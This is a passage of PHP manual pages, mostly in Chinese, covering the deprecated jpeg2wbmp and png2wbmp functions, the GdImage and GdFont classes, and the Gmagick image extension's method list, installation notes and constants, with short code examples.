$supp_categories = $iptc["2#020"][0];
$spec_instr = $iptc["2#040"][0];
$creation_date = $iptc["2#055"][0];
$photog = $iptc["2#080"][0];
$credit_byline_title = $iptc["2#085"][0];
$city = $iptc["2#090"][0];
$state = $iptc["2#095"][0];
$country = $iptc["2#101"][0];
$otr = $iptc["2#103"][0];
$headline = $iptc["2#105"][0];
$source = $iptc["2#110"][0];
$photo_source = $iptc["2#115"][0];
$caption = $iptc["2#120"][0];    }}


将 JPEG 图像文件转换为 WBMP 图像文件

  • ? iptcparse
  • png2wbmp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将 JPEG 图像文件转换为 WBMP 图像文件

jpeg2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

jpeg2wbmp — 将 JPEG 图像文件转换为 WBMP 图像文件

Warning

本函数已自 PHP 7.2.0 起被废弃，并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。

说明

jpeg2wbmp(
string $jpegname,
string $wbmpname,
int $dest_height,
int $dest_width,
int $threshold
): bool

将 JPEG 图像文件转换为 WBMP 图像文件。

参数

jpegname

JPEG 文件的路径。

wbmpname

目标 WBMP 文件的路径。

dest_height

目标图像高度。

dest_width

目标图像宽度。

threshold

阈值，在 0 和 8 之间（含）。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

示例

Example #1 jpeg2wbmp() 示例

<?php
// 目标 jpeg 的路径
$path = './test.jpg';

// 获取图像尺寸
$image = getimagesize($path);

// 转换图像
jpeg2wbmp($path, './test.wbmp', $image[1], $image[0], 5);
?>

参见

  • png2wbmp() - 将 PNG 图像文件转换为 WBMP 图像文件

User Contributed Notes

barry dot schatz at gmail dot com 16-May-2009 08:41
Actually this produces black and white images only, as does the jpeg2wbmp function.


将 PNG 图像文件转换为 WBMP 图像文件

  • ? jpeg2wbmp
  • GdImage ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将 PNG 图像文件转换为 WBMP 图像文件

png2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

png2wbmp — 将 PNG 图像文件转换为 WBMP 图像文件

Warning

本函数已自 PHP 7.2.0 起被废弃，并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。

说明

png2wbmp(
string $pngname,
string $wbmpname,
int $dest_height,
int $dest_width,
int $threshold
): bool

转换 PNG 文件到 WBMP 文件。

参数

pngname

PNG 文件的路径。

wbmpname

目标 WBMP 文件的路径。

dest_height

目标图像的高度。

dest_width

目标图像的宽度。

threshold

阈值，在 0 到 8 之间（含）。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

示例

Example #1 png2wbmp() 示例

<?php
// Path to the target png
$path = './test.png';

// Get the image sizes
$image = getimagesize($path);

// Convert image
png2wbmp($path, './test.wbmp', $image[1], $image[0], 7);
?>

参见

  • jpeg2wbmp() - 将 JPEG 图像文件转换为 WBMP 图像文件

User Contributed Notes

Window Bump Map 30-Jun-2008 10:41
WBMP is NOT windows bitmap, it is wireless bitmap. just to state that nice and clearly.


GdImage 类

(PHP 8)

简介

完全不透明的类，从 PHP 8.0.0 起开始替换 gd 资源。

类摘要

final class GdImage {
}

User Contributed Notes

There are no user contributed notes for this page.


The GdFont class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces gd font resources as of PHP 8.1.0.

类摘要

final class GdFont {
}

User Contributed Notes

There are no user contributed notes for this page.


Gmagick

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
  • 预定义常量
  • 示例
  • Gmagick — The Gmagick class
    • Gmagick::addimage — Adds new image to Gmagick object image list
    • Gmagick::addnoiseimage — Adds random noise to the image
    • Gmagick::annotateimage — Annotates an image with text
    • Gmagick::blurimage — Adds blur filter to image
    • Gmagick::borderimage — Surrounds the image with a border
    • Gmagick::charcoalimage — Simulates a charcoal drawing
    • Gmagick::chopimage — Removes a region of an image and trims
    • Gmagick::clear — Clears all resources associated to Gmagick object
    • Gmagick::commentimage — Adds a comment to your image
    • Gmagick::compositeimage — Composite one image onto another
    • Gmagick::__construct — The Gmagick constructor
    • Gmagick::cropimage — Extracts a region of the image
    • Gmagick::cropthumbnailimage — Creates a crop thumbnail
    • Gmagick::current — The current purpose
    • Gmagick::cyclecolormapimage — Displaces an image's colormap
    • Gmagick::deconstructimages — Returns certain pixel differences between images
    • Gmagick::despeckleimage — The despeckleimage purpose
    • Gmagick::destroy — The destroy purpose
    • Gmagick::drawimage — Renders the GmagickDraw object on the current image
    • Gmagick::edgeimage — Enhance edges within the image
    • Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect
    • Gmagick::enhanceimage — Improves the quality of a noisy image
    • Gmagick::equalizeimage — Equalizes the image histogram
    • Gmagick::flipimage — Creates a vertical mirror image
    • Gmagick::flopimage — Creates a horizontal mirror image
    • Gmagick::frameimage — Adds a simulated three-dimensional border
    • Gmagick::gammaimage — Gamma-corrects an image
    • Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string
    • Gmagick::getfilename — The filename associated with an image sequence
    • Gmagick::getimagebackgroundcolor — Returns the image background color
    • Gmagick::getimageblueprimary — Returns the chromaticy blue primary point
    • Gmagick::getimagebordercolor — Returns the image border color
    • Gmagick::getimagechanneldepth — Gets the depth for a particular image channel
    • Gmagick::getimagecolors — Returns the color of the specified colormap index
    • Gmagick::getimagecolorspace — Gets the image colorspace
    • Gmagick::getimagecompose — Returns the composite operator associated with the image
    • Gmagick::getimagedelay — Gets the image delay
    • Gmagick::getimagedepth — Gets the depth of the image
    • Gmagick::getimagedispose — Gets the image disposal method
    • Gmagick::getimageextrema — Gets the extrema for the image
    • Gmagick::getimagefilename — Returns the filename of a particular image in a sequence
    • Gmagick::getimageformat — Returns the format of a particular image in a sequence
    • Gmagick::getimagegamma — Gets the image gamma
    • Gmagick::getimagegreenprimary — Returns the chromaticy green primary point
    • Gmagick::getimageheight — Returns the image height
    • Gmagick::getimagehistogram — Gets the image histogram
    • Gmagick::getimageindex — Gets the index of the current active image
    • Gmagick::getimageinterlacescheme — Gets the image interlace scheme
    • Gmagick::getimageiterations — Gets the image iterations
    • Gmagick::getimagematte — Check if the image has a matte channel
    • Gmagick::getimagemattecolor — Returns the image matte color
    • Gmagick::getimageprofile — Returns the named image profile
    • Gmagick::getimageredprimary — Returns the chromaticity red primary point
    • Gmagick::getimagerenderingintent — Gets the image rendering intent
    • Gmagick::getimageresolution — Gets the image X and Y resolution
    • Gmagick::getimagescene — Gets the image scene
    • Gmagick::getimagesignature — Generates an SHA-256 message digest
    • Gmagick::getimagetype — Gets the potential image type
    • Gmagick::getimageunits — Gets the image units of resolution
    • Gmagick::getimagewhitepoint — Returns the chromaticity white point
    • Gmagick::getimagewidth — Returns the width of the image
    • Gmagick::getpackagename — Returns the GraphicsMagick package name
    • Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string
    • Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string
    • Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor
    • Gmagick::getsize — Returns the size associated with the Gmagick object
    • Gmagick::getversion — Returns the GraphicsMagick API version
    • Gmagick::hasnextimage — Checks if the object has more images
    • Gmagick::haspreviousimage — Checks if the object has a previous image
    • Gmagick::implodeimage — Creates a new image as a copy
    • Gmagick::labelimage — Adds a label to an image
    • Gmagick::levelimage — Adjusts the levels of an image
    • Gmagick::magnifyimage — Scales an image proportionally 2x
    • Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image
    • Gmagick::medianfilterimage — Applies a digital filter
    • Gmagick::minifyimage — Scales an image proportionally to half its size
    • Gmagick::modulateimage — Control the brightness, saturation, and hue
    • Gmagick::motionblurimage — Simulates motion blur
    • Gmagick::newimage — Creates a new image
    • Gmagick::nextimage — Moves to the next image
    • Gmagick::normalizeimage — Enhances the contrast of a color image
    • Gmagick::oilpaintimage — Simulates an oil painting
    • Gmagick::previousimage — Move to the previous image in the object
    • Gmagick::profileimage — Adds or removes a profile from an image
    • Gmagick::quantizeimage — Analyzes the colors within a reference image
    • Gmagick::quantizeimages — The quantizeimages purpose
    • Gmagick::queryfontmetrics — Returns an array representing the font metrics
    • Gmagick::queryfonts — Returns the configured fonts
    • Gmagick::queryformats — Returns formats supported by Gmagick
    • Gmagick::radialblurimage — Radial blurs an image
    • Gmagick::raiseimage — Creates a simulated 3d button-like effect
    • Gmagick::read — Reads image from filename
    • Gmagick::readimage — Reads image from filename
    • Gmagick::readimageblob — Reads image from a binary string
    • Gmagick::readimagefile — The readimagefile purpose
    • Gmagick::reducenoiseimage — Smooths the contours of an image
    • Gmagick::removeimage — Removes an image from the image list
    • Gmagick::removeimageprofile — Removes the named image profile and returns it
    • Gmagick::resampleimage — Resample image to desired resolution
    • Gmagick::resizeimage — Scales an image
    • Gmagick::rollimage — Offsets an image
    • Gmagick::rotateimage — Rotates an image
    • Gmagick::scaleimage — Scales the size of an image
    • Gmagick::separateimagechannel — Separates a channel from the image
    • Gmagick::setCompressionQuality — Sets the object's default compression quality
    • Gmagick::setfilename — Sets the filename before you read or write the image
    • Gmagick::setimagebackgroundcolor — Sets the image background color
    • Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point
    • Gmagick::setimagebordercolor — Sets the image border color
    • Gmagick::setimagechanneldepth — Sets the depth of a particular image channel
    • Gmagick::setimagecolorspace — Sets the image colorspace
    • Gmagick::setimagecompose — Sets the image composite operator
    • Gmagick::setimagedelay — Sets the image delay
    • Gmagick::setimagedepth — Sets the image depth
    • Gmagick::setimagedispose — Sets the image disposal method
    • Gmagick::setimagefilename — Sets the filename of a particular image in a sequence
    • Gmagick::setimageformat — Sets the format of a particular image
    • Gmagick::setimagegamma — Sets the image gamma
    • Gmagick::setimagegreenprimary — Sets the image chromaticity green primary point
    • Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter
    • Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image
    • Gmagick::setimageiterations — Sets the image iterations
    • Gmagick::setimageprofile — Adds a named profile to the Gmagick object
    • Gmagick::setimageredprimary — Sets the image chromaticity red primary point
    • Gmagick::setimagerenderingintent — Sets the image rendering intent
    • Gmagick::setimageresolution — Sets the image resolution
    • Gmagick::setimagescene — Sets the image scene
    • Gmagick::setimagetype — Sets the image type
    • Gmagick::setimageunits — Sets the image units of resolution
    • Gmagick::setimagewhitepoint — Sets the image chromaticity white point
    • Gmagick::setsamplingfactors — Sets the image sampling factors
    • Gmagick::setsize — Sets the size of the Gmagick object
    • Gmagick::shearimage — Creating a parallelogram
    • Gmagick::solarizeimage — Applies a solarizing effect to the image
    • Gmagick::spreadimage — Randomly displaces each pixel in a block
    • Gmagick::stripimage — Strips an image of all profiles and comments
    • Gmagick::swirlimage — Swirls the pixels about the center of the image
    • Gmagick::thumbnailimage — Changes the size of an image
    • Gmagick::trimimage — Remove edges from the image
    • Gmagick::write — 别名 Gmagick::writeimage
    • Gmagick::writeimage — Writes an image to the specified filename
  • GmagickDraw — The GmagickDraw class
    • GmagickDraw::annotate — Draws text on the image
    • GmagickDraw::arc — Draws an arc
    • GmagickDraw::bezier — Draws a bezier curve
    • GmagickDraw::ellipse — Draws an ellipse on the image
    • GmagickDraw::getfillcolor — Returns the fill color
    • GmagickDraw::getfillopacity — Returns the opacity used when drawing
    • GmagickDraw::getfont — Returns the font
    • GmagickDraw::getfontsize — Returns the font pointsize
    • GmagickDraw::getfontstyle — Returns the font style
    • GmagickDraw::getfontweight — Returns the font weight
    • GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines
    • GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines
    • GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines
    • GmagickDraw::gettextdecoration — Returns the text decoration
    • GmagickDraw::gettextencoding — Returns the code set used for text annotations
    • GmagickDraw::line — Draws a line
    • GmagickDraw::point — Draws a point
    • GmagickDraw::polygon — Draws a polygon
    • GmagickDraw::polyline — Draws a polyline
    • GmagickDraw::rectangle — Draws a rectangle
    • GmagickDraw::rotate — Applies the specified rotation to the current coordinate space
    • GmagickDraw::roundrectangle — Draws a rounded rectangle
    • GmagickDraw::scale — Adjusts the scaling factor
    • GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects
    • GmagickDraw::setfillopacity — The setfillopacity purpose
    • GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text
    • GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text
    • GmagickDraw::setfontstyle — Sets the font style to use when annotating with text
    • GmagickDraw::setfontweight — Sets the font weight
    • GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines
    • GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines
    • GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines
    • GmagickDraw::settextdecoration — Specifies a decoration
    • GmagickDraw::settextencoding — Specifies the text code set
  • GmagickPixel — The GmagickPixel class
    • GmagickPixel::__construct — The GmagickPixel constructor
    • GmagickPixel::getcolor — Returns the color
    • GmagickPixel::getcolorcount — Returns the color count associated with this color
    • GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel
    • GmagickPixel::setcolor — Sets the color
    • GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

User Contributed Notes

There are no user contributed notes for this page.


简介

Gmagick is a php extension to create, modify and obtain meta information of images using the GraphicsMagick API.

GraphicsMagick prides itself as the swiss army knife of image processing. It works with over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.

Gmagick consists of a main Gmagick class, a GmagickDraw class which is in effect a drawing wand and a GmagickPixel class of which instances represent a single pixel of an image (color, opacity).

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension works best with GraphicsMagick version 1.4+. Gmagick should work with earlier versions up to GraphicsMagick 1.2.6 but some features and formats are not supported for these versions. Windows version of GraphicsMagick is available from the GraphicsMagick website. To read about the difference between ImageMagick and GraphicsMagick, check this out: » FAQ .

User Contributed Notes

maksimko 10-Apr-2013 02:54
1.4+ is a mistype, I suppose. According to http://sourceforge.net/p/graphicsmagick/code/ci/tip/tree/ they don't even have 1.4 branch. The latest release is 1.3.18


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/gmagick.

Note: The official name of this extension is gmagick.

For Windows, the build of the Gmagick extension is available » here

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Colortype constants
Gmagick::COLOR_BLACK (int)
Black
Gmagick::COLOR_BLUE (int)
Blue
Gmagick::COLOR_CYAN (int)
Cyan
Gmagick::COLOR_GREEN (int)
Green
Gmagick::COLOR_RED (int)
Red
Gmagick::COLOR_YELLOW (int)
Yellow
Gmagick::COLOR_MAGENTA (int)
Magenta
Gmagick::COLOR_OPACITY (int)
Opacity
Gmagick::COLOR_ALPHA (int)
Alpha
Gmagick::COLOR_FUZZ (int)
Fuzz
Composite Operator Constants
Gmagick::COMPOSITE_DEFAULT (int)
The default composite operator
Gmagick::COMPOSITE_UNDEFINED (int)
Undefined composite operator
Gmagick::COMPOSITE_NO (int)
No composite operator defined
Gmagick::COMPOSITE_ADD (int)
The result of image + image
Gmagick::COMPOSITE_ATOP (int)
The result is the same shape as image, with composite image obscuring image where the image shapes overlap
Gmagick::COMPOSITE_BLEND (int)
Blends the image
Gmagick::COMPOSITE_BUMPMAP (int)
The same as COMPOSITE_MULTIPLY, except the source is converted to grayscale first.
Gmagick::COMPOSITE_CLEAR (int)
Makes the target image transparent
Gmagick::COMPOSITE_COLORBURN (int)
Darkens the destination image to reflect the source image
Gmagick::COMPOSITE_COLORDODGE (int)
Brightens the destination image to reflect the source image
Gmagick::COMPOSITE_COLORIZE (int)
Colorizes the target image using the composite image
Gmagick::COMPOSITE_COPYBLACK (int)
Copies black from the source to target
Gmagick::COMPOSITE_COPYBLUE (int)
Copies blue from the source to target
Gmagick::COMPOSITE_COPY (int)
Copies the source image on the target image
Gmagick::COMPOSITE_COPYCYAN (int)
Copies cyan from the source to target
Gmagick::COMPOSITE_COPYGREEN (int)
Copies green from the source to target
Gmagick::COMPOSITE_COPYMAGENTA (int)
Copies magenta from the source to target
Gmagick::COMPOSITE_COPYOPACITY (int)
Copies opacity from the source to target
Gmagick::COMPOSITE_COPYRED (int)
Copies red from the source to target
Gmagick::COMPOSITE_COPYYELLOW (int)
Copies yellow from the source to target
Gmagick::COMPOSITE_DARKEN (int)
Darkens the target image
Gmagick::COMPOSITE_DSTATOP (int)
The part of the destination lying inside of the source is composited over the source and replaces the destination
Gmagick::COMPOSITE_DST (int)
The target is left untouched
Gmagick::COMPOSITE_DSTIN (int)
The parts inside the source replace the target
Gmagick::COMPOSITE_DSTOUT (int)
The parts outside the source replace the target
Gmagick::COMPOSITE_DSTOVER (int)
Target replaces the source
Gmagick::COMPOSITE_DIFFERENCE (int)
Subtracts the darker of the two constituent colors from the lighter
Gmagick::COMPOSITE_DISPLACE (int)
Shifts target image pixels as defined by the source
Gmagick::COMPOSITE_DISSOLVE (int)
Dissolves the source in to the target
Gmagick::COMPOSITE_EXCLUSION (int)
Produces an effect similar to that of Gmagick::COMPOSITE_DIFFERENCE, but appears as lower contrast
Gmagick::COMPOSITE_HARDLIGHT (int)
Multiplies or screens the colors, dependent on the source color value
Gmagick::COMPOSITE_HUE (int)
Modifies the hue of the target as defined by source
Gmagick::COMPOSITE_IN (int)
Composites source into the target
Gmagick::COMPOSITE_LIGHTEN (int)
Lightens the target as defined by source
Gmagick::COMPOSITE_LUMINIZE (int)
Luminizes the target as defined by source
Gmagick::COMPOSITE_MINUS (int)
Subtracts the source from the target
Gmagick::COMPOSITE_MODULATE (int)
Modulates the target brightness, saturation and hue as defined by source
Gmagick::COMPOSITE_MULTIPLY (int)
Multiplies the target to the source
Gmagick::COMPOSITE_OUT (int)
Composites outer parts of the source on the target
Gmagick::COMPOSITE_OVER (int)
Composites source over the target
Gmagick::COMPOSITE_OVERLAY (int)
Overlays the source on the target
Gmagick::COMPOSITE_PLUS (int)
Adds the source to the target
Gmagick::COMPOSITE_REPLACE (int)
Replaces the target with the source
Gmagick::COMPOSITE_SATURATE (int)
Saturates the target as defined by the source
Gmagick::COMPOSITE_SCREEN (int)
The source and destination are complemented and then multiplied and then replace the destination
Gmagick::COMPOSITE_SOFTLIGHT (int)
Darkens or lightens the colors, dependent on the source
Gmagick::COMPOSITE_SRCATOP (int)
The part of the source lying inside of the destination is composited onto the destination
Gmagick::COMPOSITE_SRC (int)
The source is copied to the destination
Gmagick::COMPOSITE_SRCIN (int)
The part of the source lying inside of the destination replaces the destination
Gmagick::COMPOSITE_SRCOUT (int)
The part of the source lying outside of the destination replaces the destination
Gmagick::COMPOSITE_SRCOVER (int)
The source replaces the destination
Gmagick::COMPOSITE_SUBTRACT (int)
Subtract the colors in the source image from the destination image
Gmagick::COMPOSITE_THRESHOLD (int)
The source is composited on the target as defined by source threshold
Gmagick::COMPOSITE_XOR (int)
The part of the source that lies outside of the destination is combined with the part of the destination that lies outside of the source
Montage Mode constants
Gmagick::MONTAGEMODE_FRAME (int)
Gmagick::MONTAGEMODE_UNFRAME (int)
Gmagick::MONTAGEMODE_CONCATENATE (int)
Style constants
Gmagick::STYLE_NORMAL (int)
Gmagick::STYLE_ITALIC (int)
Gmagick::STYLE_OBLIQUE (int)
Gmagick::STYLE_ANY (int)
Filter constants
Gmagick::FILTER_UNDEFINED (int)
Gmagick::FILTER_POINT (int)
Gmagick::FILTER_BOX (int)
Gmagick::FILTER_TRIANGLE (int)
Gmagick::FILTER_HERMITE (int)
Gmagick::FILTER_HANNING (int)
Gmagick::FILTER_HAMMING (int)
Gmagick::FILTER_BLACKMAN (int)
Gmagick::FILTER_GAUSSIAN (int)
Gmagick::FILTER_QUADRATIC (int)
Gmagick::FILTER_CUBIC (int)
Gmagick::FILTER_CATROM (int)
Gmagick::FILTER_MITCHELL (int)
Gmagick::FILTER_LANCZOS (int)
Gmagick::FILTER_BESSEL (int)
Gmagick::FILTER_SINC (int)
Image type constants
Gmagick::IMGTYPE_UNDEFINED (int)
Gmagick::IMGTYPE_BILEVEL (int)
Gmagick::IMGTYPE_GRAYSCALE (int)
Gmagick::IMGTYPE_GRAYSCALEMATTE (int)
Gmagick::IMGTYPE_PALETTE (int)
Gmagick::IMGTYPE_PALETTEMATTE (int)
Gmagick::IMGTYPE_TRUECOLOR (int)
Gmagick::IMGTYPE_TRUECOLORMATTE (int)
Gmagick::IMGTYPE_COLORSEPARATION (int)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (int)
Gmagick::IMGTYPE_OPTIMIZE (int)
Resolution constants
Gmagick::RESOLUTION_UNDEFINED (int)
Gmagick::RESOLUTION_PIXELSPERINCH (int)
Gmagick::RESOLUTION_PIXELSPERCENTIMETER (int)
Compression constants
Gmagick::COMPRESSION_UNDEFINED (int)
Gmagick::COMPRESSION_NO (int)
Gmagick::COMPRESSION_BZIP (int)
Gmagick::COMPRESSION_FAX (int)
Gmagick::COMPRESSION_GROUP4 (int)
Gmagick::COMPRESSION_JPEG (int)
Gmagick::COMPRESSION_JPEG2000 (int)
Gmagick::COMPRESSION_LOSSLESSJPEG (int)
Gmagick::COMPRESSION_LZW (int)
Gmagick::COMPRESSION_RLE (int)
Gmagick::COMPRESSION_ZIP (int)
Paint constants
Gmagick::PAINT_POINT (int)
Gmagick::PAINT_REPLACE (int)
Gmagick::PAINT_FLOODFILL (int)
Gmagick::PAINT_FILLTOBORDER (int)
Gmagick::PAINT_RESET (int)
Gravity constants
Gmagick::GRAVITY_NORTHWEST (int)
Gmagick::GRAVITY_NORTH (int)
Gmagick::GRAVITY_NORTHEAST (int)
Gmagick::GRAVITY_WEST (int)
Gmagick::GRAVITY_CENTER (int)
Gmagick::GRAVITY_EAST (int)
Gmagick::GRAVITY_SOUTHWEST (int)
Gmagick::GRAVITY_SOUTH (int)
Gmagick::GRAVITY_SOUTHEAST (int)
Stretch constants
Gmagick::STRETCH_NORMAL (int)
Gmagick::STRETCH_ULTRACONDENSED (int)
Gmagick::STRETCH_CONDENSED (int)
Gmagick::STRETCH_SEMICONDENSED (int)
Gmagick::STRETCH_SEMIEXPANDED (int)
Gmagick::STRETCH_EXPANDED (int)
Gmagick::STRETCH_EXTRAEXPANDED (int)
Gmagick::STRETCH_ULTRAEXPANDED (int)
Gmagick::STRETCH_ANY (int)
Align constants
Gmagick::ALIGN_UNDEFINED (int)
Gmagick::ALIGN_LEFT (int)
Gmagick::ALIGN_CENTER (int)
Gmagick::ALIGN_RIGHT (int)
Decoration constants
Gmagick::DECORATION_NO (int)
Gmagick::DECORATION_UNDERLINE (int)
Gmagick::DECORATION_OVERLINE (int)
Gmagick::DECORATION_LINETROUGH (int)
Noise constants
Gmagick::NOISE_UNIFORM (int)
Gmagick::NOISE_GAUSSIAN (int)
Gmagick::NOISE_MULTIPLICATIVEGAUSSIAN (int)
Gmagick::NOISE_IMPULSE (int)
Gmagick::NOISE_LAPLACIAN (int)
Gmagick::NOISE_POISSON (int)
Channel constants
Gmagick::CHANNEL_UNDEFINED (int)
Gmagick::CHANNEL_RED (int)
Gmagick::CHANNEL_GRAY (int)
Gmagick::CHANNEL_CYAN (int)
Gmagick::CHANNEL_GREEN (int)
Gmagick::CHANNEL_MAGENTA (int)
Gmagick::CHANNEL_BLUE (int)
Gmagick::CHANNEL_YELLOW (int)
Gmagick::CHANNEL_ALPHA (int)
Gmagick::CHANNEL_OPACITY (int)
Gmagick::CHANNEL_MATTE (int)
Gmagick::CHANNEL_BLACK (int)
Gmagick::CHANNEL_INDEX (int)
Gmagick::CHANNEL_ALL (int)
Metric constants
Gmagick::METRIC_UNDEFINED (int)
Gmagick::METRIC_MEANABSOLUTEERROR (int)
Gmagick::METRIC_MEANSQUAREERROR (int)
Gmagick::METRIC_PEAKABSOLUTEERROR (int)
Gmagick::METRIC_PEAKSIGNALTONOISERATIO (int)
Gmagick::METRIC_ROOTMEANSQUAREDERROR (int)
Pixel constants
Gmagick::PIXEL_CHAR (int)
Gmagick::PIXEL_DOUBLE (int)
Gmagick::PIXEL_FLOAT (int)
Gmagick::PIXEL_INTEGER (int)
Gmagick::PIXEL_LONG (int)
Gmagick::PIXEL_QUANTUM (int)
Gmagick::PIXEL_SHORT (int)
Colorspace constants
Gmagick::COLORSPACE_UNDEFINED (int)
Gmagick::COLORSPACE_RGB (int)
Gmagick::COLORSPACE_GRAY (int)
Gmagick::COLORSPACE_TRANSPARENT (int)
Gmagick::COLORSPACE_OHTA (int)
Gmagick::COLORSPACE_LAB (int)
Gmagick::COLORSPACE_XYZ (int)
Gmagick::COLORSPACE_YCBCR (int)
Gmagick::COLORSPACE_YCC (int)
Gmagick::COLORSPACE_YIQ (int)
Gmagick::COLORSPACE_YPBPR (int)
Gmagick::COLORSPACE_YUV (int)
Gmagick::COLORSPACE_CMYK (int)
Gmagick::COLORSPACE_SRGB (int)
Gmagick::COLORSPACE_HSB (int)
Gmagick::COLORSPACE_HSL (int)
Gmagick::COLORSPACE_HWB (int)
Gmagick::COLORSPACE_REC601LUMA (int)
Gmagick::COLORSPACE_REC709LUMA (int)
Gmagick::COLORSPACE_LOG (int)
Virtual Pixel Method constants
Gmagick::VIRTUALPIXELMETHOD_UNDEFINED (int)
Gmagick::VIRTUALPIXELMETHOD_BACKGROUND (int)
Gmagick::VIRTUALPIXELMETHOD_CONSTANT (int)
Gmagick::VIRTUALPIXELMETHOD_EDGE (int)
Gmagick::VIRTUALPIXELMETHOD_MIRROR (int)
Gmagick::VIRTUALPIXELMETHOD_TILE (int)
Gmagick::VIRTUALPIXELMETHOD_TRANSPARENT (int)
Preview constants
Gmagick::PREVIEW_UNDEFINED (int)
Gmagick::PREVIEW_ROTATE (int)
Gmagick::PREVIEW_SHEAR (int)
Gmagick::PREVIEW_ROLL (int)
Gmagick::PREVIEW_HUE (int)
Gmagick::PREVIEW_SATURATION (int)
Gmagick::PREVIEW_BRIGHTNESS (int)
Gmagick::PREVIEW_GAMMA (int)
Gmagick::PREVIEW_SPIFF (int)
Gmagick::PREVIEW_DULL (int)
Gmagick::PREVIEW_GRAYSCALE (int)
Gmagick::PREVIEW_QUANTIZE (int)
Gmagick::PREVIEW_DESPECKLE (int)
Gmagick::PREVIEW_REDUCENOISE (int)
Gmagick::PREVIEW_ADDNOISE (int)
Gmagick::PREVIEW_SHARPEN (int)
Gmagick::PREVIEW_BLUR (int)
Gmagick::PREVIEW_THRESHOLD (int)
Gmagick::PREVIEW_EDGEDETECT (int)
Gmagick::PREVIEW_SPREAD (int)
Gmagick::PREVIEW_SOLARIZE (int)
Gmagick::PREVIEW_SHADE (int)
Gmagick::PREVIEW_RAISE (int)
Gmagick::PREVIEW_SEGMENT (int)
Gmagick::PREVIEW_SWIRL (int)
Gmagick::PREVIEW_IMPLODE (int)
Gmagick::PREVIEW_WAVE (int)
Gmagick::PREVIEW_OILPAINT (int)
Gmagick::PREVIEW_CHARCOALDRAWING (int)
Gmagick::PREVIEW_JPEG (int)
Rendering Intent constants
Gmagick::RENDERINGINTENT_UNDEFINED (int)
Gmagick::RENDERINGINTENT_SATURATION (int)
Gmagick::RENDERINGINTENT_PERCEPTUAL (int)
Gmagick::RENDERINGINTENT_ABSOLUTE (int)
Gmagick::RENDERINGINTENT_RELATIVE (int)
Fillrule constants
Gmagick::FILLRULE_UNDEFINED (int)
Gmagick::FILLRULE_EVENODD (int)
Gmagick::FILLRULE_NONZERO (int)
Pathunit constants
Gmagick::PATHUNITS_UNDEFINED (int)
Gmagick::PATHUNITS_USERSPACE (int)
Gmagick::PATHUNITS_USERSPACEONUSE (int)
Gmagick::PATHUNITS_OBJECTBOUNDINGBOX (int)
Linecap constants
Gmagick::LINECAP_UNDEFINED (int)
Gmagick::LINECAP_BUTT (int)
Gmagick::LINECAP_ROUND (int)
Gmagick::LINECAP_SQUARE (int)
Line Join constants
Gmagick::LINEJOIN_UNDEFINED (int)
Gmagick::LINEJOIN_MITER (int)
Gmagick::LINEJOIN_ROUND (int)
Gmagick::LINEJOIN_BEVEL (int)
Resourcetype constants
Gmagick::RESOURCETYPE_UNDEFINED (int)
Gmagick::RESOURCETYPE_AREA (int)
Gmagick::RESOURCETYPE_DISK (int)
Gmagick::RESOURCETYPE_FILE (int)
Gmagick::RESOURCETYPE_MAP (int)
Gmagick::RESOURCETYPE_MEMORY (int)
Orientation constants
Gmagick::ORIENTATION_UNDEFINED (int)
Gmagick::ORIENTATION_TOPLEFT (int)
Gmagick::ORIENTATION_TOPRIGHT (int)
Gmagick::ORIENTATION_BOTTOMRIGHT (int)
Gmagick::ORIENTATION_BOTTOMLEFT (int)
Gmagick::ORIENTATION_LEFTTOP (int)
Gmagick::ORIENTATION_RIGHTTOP (int)
Gmagick::ORIENTATION_RIGHTBOTTOM (int)
Gmagick::ORIENTATION_LEFTBOTTOM (int)
Interlace constants
Gmagick::INTERLACE_UNDEFINED (int)
Gmagick::INTERLACE_NO (int)
Gmagick::INTERLACE_NONE (int)
Gmagick::INTERLACE_LINE (int)
Gmagick::INTERLACE_PLANE (int)
Gmagick::INTERLACE_PARTITION (int)

User Contributed Notes

There are no user contributed notes for this page.


示例

The following shows some common Gmagick image operations.

Example #1 Gmagick Example

<?php
//Instantiate a new Gmagick object
$image = new Gmagick('example.jpg');

//Make thumbnail from image loaded. 0 for either axes preserves aspect ratio
$image->thumbnailimage(100, 0);

